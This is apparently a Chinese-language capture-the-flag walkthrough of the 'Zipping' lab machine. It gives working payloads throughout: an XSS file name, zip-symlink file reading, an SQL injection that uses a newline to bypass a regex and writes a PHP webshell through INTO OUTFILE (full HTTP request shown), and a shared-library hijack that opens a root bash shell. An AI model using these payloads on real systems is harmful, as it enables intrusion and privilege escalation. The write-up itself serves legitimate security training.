信息收集
端口扫描
端口开放及服务探针。使用nmap对靶机地址10.10.11.229进行端口探测。`nmap -p- --min-rate 1000 10.10.11.299`。扫描结果:开放22、80端口,提供ssh和web服务。
对22、80端口进行详细扫描`nmap -p22,80 -sC -sV -sT -A 10.10.11.229`,使用对靶机地址10.10.11.229进行TCP的详细扫描,并使用默认的脚本进行脆弱性探测。
扫描结果:服务器位Linux内核,web服务使用的apache 2.4.54版本。
web
在端口扫描和服务器的基本情况的确认后,得到服务器的基本信息。通过web服务查看是否有突破口。
基本是静态页面,存在shop和contact处可以提交数据。在查看网页源代码时发现存在upload.php
shop/index.php
upload.php
目录扫描
使用gobuster对站点进行目录的深度扫描,看还有没有隐藏文件`dirsearch -u http://10.10.11.229/`
文件包含漏洞
在shop/index.php?page=products,中可以尝试page参数能否进行文件包含和SQL注入。尝试访问products.php发现改文件存在,猜测是否是通过include($_GET['page'].".hpp")实现的文件包含。
通过输入page=/var/www/html/upload成功包含到upload.php。
zip文件上传
上传文件名导致xss漏洞
创建一个具有xss攻击语句的pdf文件名'"><img src="1" οnerrοr=eval("alert('\''xss'\'')")>.pdf' 并压缩成zip文件。
上传成功执行xss语句
任意文件读取
File Upload - HackTrickshttps://book.hacktricks.xyz/pentesting-web/file-upload#symlink通过把zip文件中的文件替换成链接文件,实现任意文件读取。
ln -s /etc/passwd ./passwd
zip --symlinks passwd.zip passwd
上传passwd.zip,访问上传的pdf的路径。
读取其他的web的文件
/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
<?=template_header('Zipping | Product')?>
<div class="product content-wrapper">
<img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
<div>
<h1 class="name"><?=$product['name']?></h1>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
<form action="index.php?page=cart" method="post">
<input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
<input type="hidden" name="product_id" value="<?=$product['id']?>">
<input type="submit" value="Add To Cart">
</form>
<div class="description">
<?=$product['desc']?>
</div>
</div>
</div>
<?=template_footer()?>
functions.php
<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
?>
cart.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}
// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {
// Remove the product from the shopping cart
unset($_SESSION['cart'][$_GET['remove']]);
}
// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
// Loop through the post data so we can update the quantities for every product in cart
foreach ($_POST as $k => $v) {
if (strpos($k, 'quantity') !== false && is_numeric($v)) {
$id = str_replace('quantity-', '', $k);
$quantity = (int)$v;
// Always do checks and validation
if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
// Update new quantity
$_SESSION['cart'][$id] = $quantity;
}
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
header('Location: index.php?page=placeorder');
exit;
}
if (isset($_POST['clear'])) {
unset($_SESSION['cart']);
}
// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
// There are products in the cart so we need to select those products from the database
// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
// We only need the array keys, not the values, the keys are the id's of the products
$stmt->execute(array_keys($products_in_cart));
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Calculate the subtotal
foreach ($products as $product) {
$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
}
}
?>
通过对代码进行分析,发现cart.php在执行sql语句时未进行预编译。但是需要绕过
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match))
[preg_match bypass](https://www.cnblogs.com/20175211lyz/p/12198258.html)
改正则表达式的含义是匹配大小写字母和各种特殊字符,且最后一个字符必须是非数字将会被匹配到。如下图,当最后一个字符是非数字时将会被匹配到。
SQL注入
绕过匹配的方式是使用%0a绕过,且要保证最后一个字符是数字。payload:%0a'%3bselect+'<%3fphp+eval($_REQUEST[1])%3b+%3f>'+into+outfile+'/var/lib/mysql/3.php'%3b --1
POST /shop/index.php?page=cart HTTP/1.1
Host: 10.10.11.229
Content-Length: 113
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.229
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.229/shop/index.php?page=cart
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2r2p0aicavvo4ka7ncc5ce1i0a
Connection: close
quantity=1&product_id=%0a'%3bselect+'<%3fphp+system("$_POST[1]")%3b%3f>'+into+outfile+'/var/lib/mysql/7.php';+--2
通过尝试发现/tmp和web目录下均写入失败。先上传shell,再通过cart.php的文件包含进行解析。
user shell
sudo -l查看可以进行sudo的命令
可以以root的身份执行/usr/bin/stock。下载到本地调试。使用ltrace查看函数调用和系统调用等信息。通过调用发现密码是St0ckM4nager
ltrace -Ss 10000 ./stock
确认密码后,调用一个动态链接库/home/rektsu/.config/libcounter.so。在rektsu的工作目录中未发现改so文件。
动态链接库劫持
动态链接库劫持https://www.cnblogs.com/mutudou/p/13607519.html先制作一个可以自动执行的到shell的c源文件。
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
system("/usr/bin/bash -i");
}
这段代码使用 __attribute__((constructor))
将 init()
函数标记为在程序加载时自动执行的构造函数。当您的程序运行时,init()
函数将被自动调用,然后执行包含 system("/usr/bin/bash -i")
的命令,以在交互式模式下打开一个 Bash shell。
下载到靶机上去,然后编译成动态链接库文件,并保存在/home/rektsu/.config/libcounter.so
root shell
编译gcc -shared -fpic -o /home/rektsu/.config/libcounter.so su.c,执行sudo /usr/bin/stock
知识点总结:
文件包含漏洞利用
zip symlink 实现任意文件读取zip-symlink-vulnerability
代码审计+SQL注入
动态链接库劫持
参考wp:Zipping - Journal